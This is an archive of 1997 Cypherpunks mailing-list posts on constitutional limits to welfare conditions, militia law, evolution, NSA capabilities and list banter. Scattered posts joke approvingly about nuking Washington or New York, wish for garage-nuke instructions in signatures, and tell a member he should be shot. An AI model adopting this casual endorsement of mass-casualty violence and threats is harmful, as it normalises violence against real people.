> Nope, I didn't. Nowhere is the Constitution does it say that citizens have
> a right to welfare money. The State is free to make virtually anything not
> expressly prohibited by the Constitution a condition for providing welfare.

Yes, Lucky you did.

Go read the 10th. The state is NOT (I say again, NOT) allowed to
do anything not expressly allowed because the Constitution is a clear
refutation of this sort of thinking.

> Including that the recipient takes positive steps to forestall the breeding
> of further welfare recipients. Even making castration a precondition for
> receiving welfare would be constitiutional. [I do not advocate such a step].

On one hand you rail against the oppression of people by their government and
then you promote even further oppression, what a hypocrite. Your eugenic
slant on democracy is a disservice.

In case you haven't caught the clue, people don't belong to the government.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 00:24:05 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Forwarded mail...
Message-ID: <199708231622.LAA24970@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
> Subject: Plot of the Platypus

> In fact, many disorders of reading (alexia) and writing (agraphia)
> exist, and are sourced to small lesions in different areas of the brain.
> Functionality is so distributed physically, in fact, that there are
> even particular lesions which can disrupt reading of phonetic kana
> Japanese but not ideographic kanji Japanese.

This is only part of the story. Most persons afflicted with these sorts of
disorders are not caused by any sort of lesion but rather a geneticly based
anomaly in brain development. Dyslexia is a prime example.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sun, 24 Aug 1997 00:18:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Mathematics > NSA + GCHQ
In-Reply-To: <v03102803b023719e4bce@[207.167.93.63]>
Message-ID: <97Aug23.121248edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 22 Aug 1997, Tim May wrote:

> We haven't discussed this point in  a while, but the belief most
> cryptologists have is roughly this:
> 
> The world-wide community of mathematics and cryptology researchers, linked
> through open publication of new research results, is GREATER than the
> cloistered NSA and GCHQ communities of researchers.
> 
> Thus, as bright as Brian Snow or Don Coppersmith or John Conway may be, the
> "edge" the NSA may have once had is largely gone. Which is not to say that
> they are not still a formidable technical organization, with substantial
> computer resources.

This also applies to the substantial computer resources and technology as
well.

Something on TLC got me thinking about this even before I read this
message.  The NSA has a problem in that, except maybe for quantum
cryptography, they no longer have an advantage of kind, merely of degree,
and the market is narrowing that gap daily.  Before, only they had the
resources to do something like the machine NCR built to crack enigma
messages, and could build many one-of-a-kind machines to do individual
cracking.  They still can, but it isn't efficient to do so today.  They
can build 1000 custom ASICs, but they will be more expensive than 10,000
off-the-shelf CPU chips - they can't do engineering any better or cheaper
than Intel or DEC, and they don't have millions of customers to spread the
fixed costs over.

When a camcorder is more complex than most weapons systems, but is
available at the local mall, and when I can buy SMP servers from an 800
number, I have the same thing the NSA has, only smaller.  But the NSA is
still a finite size (given the earlier posts about terawatts), and I can
link my computer with thousands or millions of others.

DEScrack was only done on a relatively few computers.  If a really big
prize was offered (In this lotto, you just run this screen saver which
uses less bandwidth than pointcast... The chinese radio lottery via the
internet), you could get almost every computer into the act.  As
technology goes forward, any advantage of largess will be overcome by
greater numbers of small systems - at some point the large college
campuses will have more cpu cycles than the NSA because students bring the
latest technology with them.  Unless the NSA is radically different, the
concept of putting a SMP system on everyone's desk (upgrading it every few
years) and linking them isn't going to go over as well as getting 100 new
cray supercomputers. 

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 01:20:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
Message-ID: <199708231719.MAA25308@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 23 Aug 1997 09:52:26 -0700
> From: Lucky Green <shamrock@netcom.com>
> Subject: Re: lack of evolutionary pressures (was Re: An end to "court
>   (fwd)

> Let's try this from a different angle... Say it was charity. Would it, in
> your opinion, be constitutional for a private charity to require Norplant
> before dispensing the charitable goods and services?

Contracts between private individuals are not constrained by the
Constitution so your allegory is flawed. What the government can and can't
do as a result of its charter to represent all the people has nothing to do
with what two individuals arrange between themselves on a consensual basis
involving a contract.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 24 Aug 1997 00:47:32 +0800
To: cypherpunks@toad.com
Subject: Re: Plot of the Platypus
Message-ID: <1.5.4.32.19970823162730.007303bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



THE LIE wrote:
>
>In fact, many disorders of reading (alexia) and writing (agraphia)
>exist, and are sourced to small lesions in different areas of the brain.

Moreover, upon finer resolution of examination or by use of a different tool, 
disorders are often discovered to be indistinguishable from orders with
a slightly larger maw.

Thus, do maws and survivalist manuals and bibles and cults of 
incontrovertible wisdom thrive and beef-up and kudzu every 
more uncontrollability, until ... the four bad-ass dudes ride in to waste the 
evanescent land and mindscape, allowing the cosmo-launder cycle to 
rejigger.

We've a stack of pre-owned omni-space-time prayerbooks for offer,
e-ver or tear-and-blood-stained print.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 01:30:46 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (fwd)
Message-ID: <199708231730.MAA25395@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 23 Aug 1997 10:18:44 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: lack of evolutionary pressures

> Bluntly
> put, it ain't going _anywhere_, at least not very fast. Changes in the
> characteristics of a species, loosely speaking, "evolution," happen faster
> in small populations.

Actualy this premise is false. The results of evolution stand out more in
smaller populations because a given change can propogate through the
population with less chance of being swammped by other changes that are
also propogating through that population. There is also the fact that the
vast majority of changes are either harmless or else debilitating further
slowing the genetic drift.

Look at it this way. If we have 1000 mating pairs and one of those pairs
progeny has a genetic change it is much easier for that change to get
propogated because the odds of the offspring mating with the other 999 pairs
offspring are much higher than if there were say 10,000 pairs. The number of
generations required for that change to become ubiquitous in small
populations is much lower than in larger populations.

The genetic drift for a given species is usualy low because of this
dillution whereas if a punctuating event occurs it will lower the available
pool of mates and hence the relative changes increase until the new
population becomes stable, usualy because the mitigating effects of the
punctuating event have receded.

If you would like a concrete case to study, review the research about
genetic drift in monkey populations in the Great Rift Valley in Africa.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Sun, 24 Aug 1997 01:33:12 +0800
To: cypherpunks@ssz.com
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
In-Reply-To: <199708231619.LAA24929@einstein.ssz.com>
Message-ID: <vp90xsq01m.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> Jim Choate writes:

JC> Forwarded message:
>> From: Lucky Green <shamrock@netcom.com> Subject: Re: lack of
>> evolutionary pressures (was Re: An end to "court (fwd)

>> >You need to read the Constitution again, you missed something
>> critical in >there.
>> 
>> Nope, I didn't. Nowhere is the Constitution does it say that
>> citizens have a right to welfare money. The State is free to make
>> virtually anything not expressly prohibited by the Constitution a
>> condition for providing welfare.

JC> Yes, Lucky you did.

JC> Go read the 10th. The state is NOT (I say again, NOT) allowed to
JC> do anything not expressly allowed because the Constitution is a
JC> clear refutation of this sort of thinking.

	No, the federal government is barred.  The state governments
are free to do so (constrained by their own constitutions).  For that
matter, the federal government shouldn't be involved in the business
of affecting the specific welfare of individuals, so it should be a
moot issue.  But they cover everything by the commerce clause ("A bird
landing on your roof will travel between states during migration, so
we can regulate the construction of your house."), so they do it
anyways.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQBVAwUBM/8eRfCBWKvC9LiRAQGddwH/X8ju6MNj5aWJJm5I0UgnV3k3bqovbHwE
ao/s6Ld1L6TWeVQUMs1webSJrDafzuUmWnpSOS44Nza1Z3yfut9yWQ==
=ukNu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 24 Aug 1997 02:14:20 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: None
In-Reply-To: <23sNBe14w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.91.970823124233.8641B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 18 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Anonymous <anon@anon.efga.org> writes:
> 
> ...
> > It would be a day to celebrate loudly if someone put a crater in DC.
> 
> I'd love for this to happen!  I wish someone would condense the instructions
> for making nukes in one's garage into 4-6 lines suitable for .sigs.

New York will probably get it first, Doctor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sun, 24 Aug 1997 01:27:40 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: heart
In-Reply-To: <Pine.LNX.3.93.970823083012.496A-100000@shirley>
Message-ID: <Pine.SUN.3.96.970823131325.22969A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 23 Aug 1997, ? the Platypus {aka David Formosa} wrote:

> If we are willing to consider anyone of us to be less then human then we
> all become less human.  No one has a right to consider anthoughter less
> then human.

So what you are saying then is that when the scum inserts a toilet plunger
up someone's butt you consider them less than human, therefore all of
humanity becomes less than human including the plunging scum, therefore
he himself is less than human...  

Which means you're agreeing with me, or you don't know shit about logic. 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 24 Aug 1997 03:04:30 +0800
To: Tim May <tcmay@got.net>
Subject: Re: David Downey asks to be shot
In-Reply-To: <v03102804b01fa3e68fed@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.970823133349.8712C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



We'll fall-in out in the compound as soon as Tim finds his shoes.

On Tue, 19 Aug 1997, Tim May wrote:

> At 6:23 AM -0700 8/19/97, David D.W.Downey wrote:
> >blackjack@hotmail.com wrote:
> >
> >> Saw your post in the newsgroups.
> >>
> >> Check this out!
> >>
> >> http://www.geocities.com/Eureka/Plaza/1022
> >
> >  Ya know, this shit really pisses me off. I understand that we have to
> >protect everyone's rights if we wish are own to be protected. This is a
> >classic case of what is causing the mainstream public to hash so hard
> >about porn and such. I did nothing to solicit this beyond posting to a
> >news group. This troller comes along, scarfs my email address and then
> >sends me this email. If you click on the link it sends you to a place to
> >sign up for accessing a hard porn site. This is what feeds the initiated
> >Johnnie Q.Public's desire to control the net, and endangers all of our
> >rights on the net. I understand that we have to protect the enemies'
> >rights too, but can't we just shoo a few of them first? Lowers the
> >numbers needing protection and might help us out in the end.
> >Grrrrrrr!!!!
> 
> I agree. We should shoot a few of the enemies first.
> 
> I suggest you be shot.
> 
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 24 Aug 1997 04:56:09 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
In-Reply-To: <199708231858.NAA25765@einstein.ssz.com>
Message-ID: <3.0.2.32.19970823134841.0073cc78@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:58 PM 8/23/97 -0500, Jim Choate wrote:
>This I agree with completely. At no point in the Constitution does it give
>the federal government the job of welfare. It also does not provide for any
>mechanism for law enforcement (ie DEA, NSA, FBI, etc.) outside of taxes and
>inter-state commerce.

So we are all in agreement:  when I mentioned Norplant briefly being a
precondition for receiving welfare benefits, I was talking about a example
that I recall to have occurred in a single state. [I can't remember the
state. Anyone?] It appears you agree that States are allowed by the US
Constitution to impose such requirements, subject to the state's own
constitutions.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 03:00:50 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
Message-ID: <199708231858.NAA25765@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
> From: Firebeard <stend+cypherpunks@sten.tivoli.com>
> Date: 23 Aug 1997 12:30:45 -0500

> 	No, the federal government is barred.  The state governments
> are free to do so (constrained by their own constitutions).  For that
> matter, the federal government shouldn't be involved in the business
> of affecting the specific welfare of individuals, so it should be a
> moot issue.

This I agree with completely. At no point in the Constitution does it give
the federal government the job of welfare. It also does not provide for any
mechanism for law enforcement (ie DEA, NSA, FBI, etc.) outside of taxes and
inter-state commerce.


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 24 Aug 1997 03:40:28 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: ROTFL / Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <199708220530.HAA22261@basement.replay.com>
Message-ID: <Pine.BSF.3.91.970823140404.8712H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 22 Aug 1997, Anonymous wrote:

> Ray Arachelian wrote:
> > 
> > On Thu, 21 Aug 1997, Tim G. May wrote:
> > 
> > > "When all you have is a gun, everything looks like a target."
> > >
> > > Tim G. May
> > 
> > When all you have are arrest warrants, everyone looks like a drug dealer.
> > :)
> 
>   "When all you have is spam, everyone looks like Tim C. May."
>          - Dimitri Vulis, KOTM
> 
> 
> 

When all you have is ascii art, it's hard to hang a picture that matches 
the sofa.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 24 Aug 1997 03:42:34 +0800
To: Graham John-Bullshit <gbs@dev.null>
Subject: Re: take The Boulder Pledge now!!!
In-Reply-To: <33FCD4D4.3126@dev.null>
Message-ID: <Pine.BSF.3.91.970823140632.8712I-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 21 Aug 1997, Graham John-Bullshit wrote:

> I think amp needs to have our 2000 friends each send 20,000 copies
> of this post back to him.
> 
> amp@pobox.com wrote:
> 
> > hahahaha ROTF! Stop spam, please forward this to 2000 of your closest friends

I thought it was just a vague Jungian reference.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Sun, 24 Aug 1997 03:14:43 +0800
To: cypherpunks@ssz.com
Subject: Re: Inside the Cypherpunks Cult (fwd)
In-Reply-To: <199708220254.VAA18931@einstein.ssz.com>
Message-ID: <vp4t8gpve6.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> Jim Choate writes:

JC> And any soldier who fires on Americans is clearly going against
JC> prima facia evidence that the framers intended for American
JC> military force to NEVER be used against American citizens on
JC> American soil.

	Being a Pennsylvania native, I refer you to the 'Whiskey
Rebellion', 1791-4, western Pennsylvania.  Mr Washington, one of those
framers, sent American troops (militia, under federal control) against
American citizens on American soil.  And I don't recall Mr Washington
being impeached for violating the Constitution (although Jefferson did
resign as Secretary of State, in part, over this).  A page with some
discussion of this is <http://www.camconet.com/bradford/rebell.HTM>,
but I think it's too optimistic on one point.  It says that without
the 'Rebellion' "the government of today might be the aristocratic
monarchy that Hamilton and the Federalists tried so hard to install".
It may have delayed it, but our government certainly seems to rule
based on the Divine Right of Bureaucrats.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

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Version: 2.6.2
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TrdN4aoKA4iNEassUeevM3b8+esFe/fgUQIElw+GP/vaceTXx3J+Eg==
=NJ0Y
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 24 Aug 1997 02:49:20 +0800
To: cypherpunks@toad.com
Subject: Top 10 Ways to Make a Grouchy Old CypherPunk Smile - #10
Message-ID: <eFQjyiPObYsqBuirtaKK/g==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



Top 10 Ways to Make a Grouchy Old CypherPunk Smile
--------------------------------------------------
#10) Find his shoes for him.

#9)

#8)

#7)

#6)

#5)

#4)

#3)

#2)

#1) [This space reserved for T.C. May]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 24 Aug 1997 05:45:23 +0800
To: cypherpunks@ssz.com
Subject: Re: Inside the Cypherpunks Cult (fwd)
In-Reply-To: <vp4t8gpve6.fsf@sten.tivoli.com>
Message-ID: <v03102802b025074f2480@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:34 PM -0700 8/23/97, Mark M. wrote:

>The militia is different from the military force.  The U.S. Constitution
>explicitly states in Article I, Section 8, that the militia may be called
>forth (by the federal government) to enforce federal law.  The army and
>other military forces, however, were not given this power and were not
>intended to be permanent establishments, either.  The reason for the
>establishment of the militia was to provide for a permanent defense force
>avoiding the dangers to liberty of a standing army.  The army was never
>intended to be used for law enforcement and could only be used against
>American citizens in a time of rebellion, such as the Civil War.  Over
>a hundred years ago, the Posse Comitatus Act was passed which forbid the
>military from arresting or questioning American citizens.

By the way, a more recent example than that of the Whiskey Rebellion of
U.S. troops (regular army, not state Guard units) being used within the
U.S. against U.S. citizens was the action by Hoover against the
strikers/rioters and "Hooverville" residents in D.C., circa 1930. Hoover
sent in Army troops, led by either Gen. Pershing, as I recall (and maybe
Patton and/or Eisenhower...my CD-ROM encyclopedia is not handy, and a Web
search on some of the terms didn't quickly show any hits of direct
relevance, and I don't have the time to do more searches).

Also, I recall U.S. Army regulars being sent in in several of the riots of
the last 30 years, including, as I recall, Watts, Camden, and the recent
L.A. riots.

What the constitutional issues are I have little idea.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 24 Aug 1997 04:28:09 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: None
In-Reply-To: <Pine.BSF.3.91.970823124233.8641B-100000@mcfeely.bsfs.org>
Message-ID: <199708232017.PAA06098@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.BSF.3.91.970823124233.8641B-100000@mcfeely.bsfs.org>, on 08/23/97

   at 12:43 PM, Rabid Wombat <wombat@mcfeely.bsfs.org> said:




>On Mon, 18 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

>> Anonymous <anon@anon.efga.org> writes:
>> 
>> ...
>> > It would be a day to celebrate loudly if someone put a crater in DC.
>> 
>> I'd love for this to happen!  I wish someone would condense the instructions
>> for making nukes in one's garage into 4-6 lines suitable for .sigs.

>New York will probably get it first, Doctor.

You say this as if it would be a bad thing. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Sat, 23 Aug 1997 23:41:40 +0800
To: cypherpunks-unedited@toad.com
Subject: Re: (none)
Message-ID: <19970823152358.12994.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Excellent rant overall, but I have two little comments.

On Aug 22, 23:24, Anonymous wrote:
} Subject: (none)
> >FROM MOUNTAIN MEDIA
>     FOR IMMEDIATE RELEASE DATED AUG. 31, 1997
>     THE LIBERTARIAN, By Vin Suprynowicz
>     'Necessary to the security of a free State'

Note the date.  It appears to have travelled backwards through time.  :-)
Also, the formatting was awful.  Otherwise, very well written, and I bought the
idea.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 04:24:52 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Inside the Cypherpunks Cult (fwd)
Message-ID: <199708232024.PAA26124@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Inside the Cypherpunks Cult (fwd)
> From: Firebeard <stend+cypherpunks@sten.tivoli.com>
> Date: 23 Aug 1997 14:11:13 -0500

> >>>>> Jim Choate writes:
> 
> JC> And any soldier who fires on Americans is clearly going against
> JC> prima facia evidence that the framers intended for American
> JC> military force to NEVER be used against American citizens on
> JC> American soil.
> 
> 	Being a Pennsylvania native, I refer you to the 'Whiskey
> Rebellion', 1791-4, western Pennsylvania.  Mr Washington, one of those
> framers, sent American troops (militia, under federal control) against
> American citizens on American soil.

Militia <> Army.

Exactly, they were militia NOT federal troops. This is EXACTLY why we have
the militia mentioned in the 2nd. With there being no mechanism to
constitutionaly employ federal troops against Americans there had to be some
means to maintane the peace. In addition there needed to be some mechanism
to prevent the federals from mis-using those troops hence the 2-year limit
at the federal level for all monies expended on federal troops. No such
limit applies to monies given to the states to fund their individual
militias. Which are LOANED to the federal government with the consent of the
govenor of the particular states. The idea being that if the fed's mis-use
those troops the govenor simply orders them to stand down. Without voluntary
help from the states the feds should be powerless inside the borders of the
US.

I suspect that there is a certain level of misrepresentation of what went on
during the Whiskey Rebellion (which I was aware of before your elucidation).
Near as I can tell Washington acted responsibly within the bounds of the
intent and word of the Constitution.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 04:31:45 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199708232029.PAA26197@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
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   Main banner CNN- Your Local Link rule
   
                    JUDGE DISMISSES WOMAN'S DISNEYLAND SUIT
                                       
      Disney lawsuit August 22, 1997
     Web posted at: 10:44 p.m. EDT (0244 GMT)
     
     LOS ANGELES, (Reuter) -- A judge on Friday dismissed asuit brought
     against Disneyland by a woman who said she wasrobbed at the theme
     park and her grandchildren were traumatized by seeing Disney
     characters remove their costumes.
     
     The lawsuit was brought by Billie Jean Matay, 57, who wasone of the
     first group of Mouseketeers, young Disneyentertainers dressed in
     costumes that included Mickey Mouse ears, to perform at Disneyland
     when it opened 40 years ago.
     
     Orange County Superior Court Judge Richard Luesenbrink said,"There
     is nothing to suggest this incident could have beenavoided."
     
     The dismissal came after Matay's lawyer had rested his case.
     
     Matay, who broke down on the witness stand when shetestified, blamed
     poor security at the park's parking lot for her being robbed of $165
     at gunpoint in August 1995 when she went there with her three
     grandsons, aged between 5 and 10.
     
     She said that after the incident, security guards detainedher family
     and her grandsons were shocked and traumatized when they saw Disney
     characters they believed were real take off their costumes in a back
     stage area.
     
     Copyright 1997 Reuters Limited. All rights reserved.
     
    
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 04:33:21 +0800
To: cypherpunks@ssz.com
Subject: pna.show_story?p_art_id=246054&p_section_name=Sci-Tech
Message-ID: <199708232030.PAA26230@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN Custom News logo
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   Ohio Man Given Five-Year Term in Internet Sex Case
   
   Reuters
   22-AUG-97
   
   
   CAMDEN, N.J. (Reuter) - An Ohio man was sentenced Friday to five years
   in a federal prison for using the Internet to induce a 12-year-old New
   Jersey girl to make sexually charged videos of herself and send them
   to him.
   
   Paul Brown Jr., 47, of Cleveland Heights, was arrested in February
   after the West Caldwell girl's parents discovered some Internet
   communications. Brown had posed as a teen-ager in responding to the
   girl's Internet request for an e-mail pal.
   
   A statement from the girl, now 14, was read in court. She accused
   Brown of ``emotional rape'' and said her life ``has been a disaster''
   since she learned the truth about him.
   
   Brown was convicted on morals and pornography charges. His crimes were
   considered federal offenses because of their interstate nature.
   
   
   
   
   
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
